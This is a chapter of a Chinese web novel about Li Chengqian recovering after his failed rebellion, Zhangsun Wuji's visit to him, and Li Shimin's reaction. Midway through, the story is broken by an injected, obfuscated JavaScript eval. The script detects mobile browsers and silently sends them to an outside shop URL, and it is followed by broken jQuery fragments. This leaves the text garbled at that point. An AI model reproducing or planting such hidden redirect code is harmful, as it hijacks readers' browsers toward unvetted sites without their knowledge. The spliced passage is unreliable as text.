屋内。
李象并不知道李世民的想法。
当然了,以他的性子,就算知道李世民的想法也不会在意。
他才不想当什么太子、太孙,他只想要他阿耶,想要一家人都好好的。
李象一直守在床边。
好在李承乾很快就醒了。
李象见李承乾双眼微动,继而睁开眼睛,连忙上前道:“阿耶?您终于醒啦!”
“您可别动。”
“您受了伤,莫要开口说话。”
他先扶着李承乾慢慢坐起,继而示意一旁的婢女递上温水,小心翼翼侍奉着李承乾喝下。
李承乾环顾周遭一圈,这才想起了什么,低声问道:“父皇……可有说什么?”
李象摇摇头,囫囵将听来的事大概说了出来。
李承乾看着眼前沉稳懂事的儿子,心知若不是今日铤而走险,他们父子只怕已在流放的路上。
“大郎。”
“今日多亏了你。”
李象连忙道:“阿耶,您怎么说这样的话?咱们是父子,不用客气的。”
“如今您要做的,是安心养病。”
“留得青山在,不怕没柴烧。您把身体养好了,比什么都重要。”
身为儿子,他太清楚李承乾心病何在,便守在床边,细细碎碎将自己知道的事都道了出来。
说到最后,他更是道:“阿耶您放心,如今四叔已失了圣心。”
“他若想顺利坐上太子之位,简直难如登天。”
李承乾点了点头,悬着的一颗心果然放了下来。
接下来的几日。
李承乾先是搬回了东宫,继而李世民赐下补品,再是御医日日前来。
每一桩事拎出来,那都是闻所未闻见所未见。
朝中上下向来不缺聪明人,原本长孙无忌等人心知李承乾经此一事已沦为废子,如今再见他安然无恙,不免又动了心思。
长孙无忌身为长孙皇后之兄,李承乾的亲舅舅,少不得前来东宫探望一二。
可当他带上补品坐在李承乾床边时,这舅甥两人却显得有些生分。
李承乾一直都知道他这个舅舅是个聪明人。
当年若不是长孙无忌撺掇李世民发动兵变,如今哪有李世民稳坐皇位一事?
有道是道不同不相为谋。
李承乾比起往日来,是更加沉默。
长孙无忌见李承乾经此一事,就像换了个人似的,不由叹气道:“你呀你,当年你母后在世时,时常称赞你有勇有谋、沉稳有度。”
“如今你怎么竟做出这样的糊涂事来?”
“你明明已是太子,为何会想不开谋反呢?”
李承乾却是冷笑一声,一字一顿道:“太子?”
“是啊,我已是太子,按理说待父皇百年之后,就会顺利继承大统。”
“我知道在你们眼里,我一向不如李泰聪明,但我李承乾却不是什么傻子。”
“敢问舅舅一句,若不是逼不得已,我身为当朝太子,为何要谋反?”
“若不是我被李泰逼得毫无办法,如今会谋反?”
长孙无忌一时语塞。
他身为朝中重臣,自是知道近年来不少人奏请陛下改立太子的。
李承乾心知长孙无忌不过是虚情假意走这么一趟,只闭了闭眼,有气无力道:“舅舅,我还病着,身子不适,不便与您多言。”
这便是下逐客令的意思。
长孙无忌原想要多劝几句的,听了这话,只能摇摇头,走了出去。
他刚走出房门,就忍不住摇摇头,自言自语起来:“……真是江山易改,本性难移。”
“这人真是犟到了骨子里,就算此次能够侥幸脱身,只怕下次依旧不是魏王的对手!”
身在朝中,最难得的便是揣着明白装糊涂。
长孙无忌心知李世民对李承乾只剩父子情,更知李承乾已再掀不起什么波浪来。
他刚走到拐角处,一个转身,却吓了一大跳。
一个小人竟长了个甜瓜脑袋?
待长孙无忌定睛一看,这人不是李象吗?
只见李象正捧了个和脑袋差不多大的甜瓜,正在啃啃啃,手上、嘴边都是黏糊糊的。
长孙无忌没好气道:“原来是你小子。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17679418|207501||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“你这是做什么?莫不是不知道人吓人可是能把人吓死的?”
李象这几日心情是格外美丽,阿耶回来了不少,因他立下大功,东宫上下所有人都对他客气极了,就连他捧了这么大个冰镇过的甜瓜吃,也没人敢说他。
最重要的是,他已经好久好久没梦到皇祖父了。
简直是心情美滋滋。
他又啃了一口甜瓜后,才抬起头来:“舅公您怎么了?大白天的,您怕什么?”
“莫不是做了什么亏心事?”
说着,他更是一副我什么都知道的表情:“阿耶常说,不做亏心事不怕鬼敲门……”
长孙无忌觉得眼前这小娃娃和之前有些不一样了,但他和李泰一样,以为李象这是得了高人指点:“我能做什么亏心事?”
“好了,不和你小子贫嘴了。”
“我还有公务在身呢!”
说话时,他已行至李象身边:“有时间多劝劝你阿耶放宽心,将那等不该有的心思都收起来。”
“要是再有下次,大罗神仙都救不了你们呢!”
话毕,他抬脚就走。
从前他都没怎么将李承乾父子放在眼里,更不必说今日。
长孙无忌一路畅通无阻,行至两仪殿。
他刚走进殿内,还未上前行礼,就听见李世民道:“你可是去看过承乾?”
长孙无忌心里一个“咯噔”,想着十有八九东宫眼线仍在,忙上前躬身道:“回陛下的话,是。”
“承乾身子可好些了?”李世民放下手中的奏折,道,“你们,都说了些什么?
自李承乾醒来后,他并未前去探望。
一来是他知李承乾犯下了滔天之罪,不愿对李承乾太过看重,免得给李承乾和众人不切实际的幻想。
二来嘛,则是他不知该如何面对李承乾这个儿子。
子不教,父之过啊!
长孙无忌心里的小算盘打得哐哐直响,一五一十将方才李承乾的话道了出来。
和他想的一样。
李世民听了这话,长长叹了口气,并未接话,良久才道:“朕知道了。”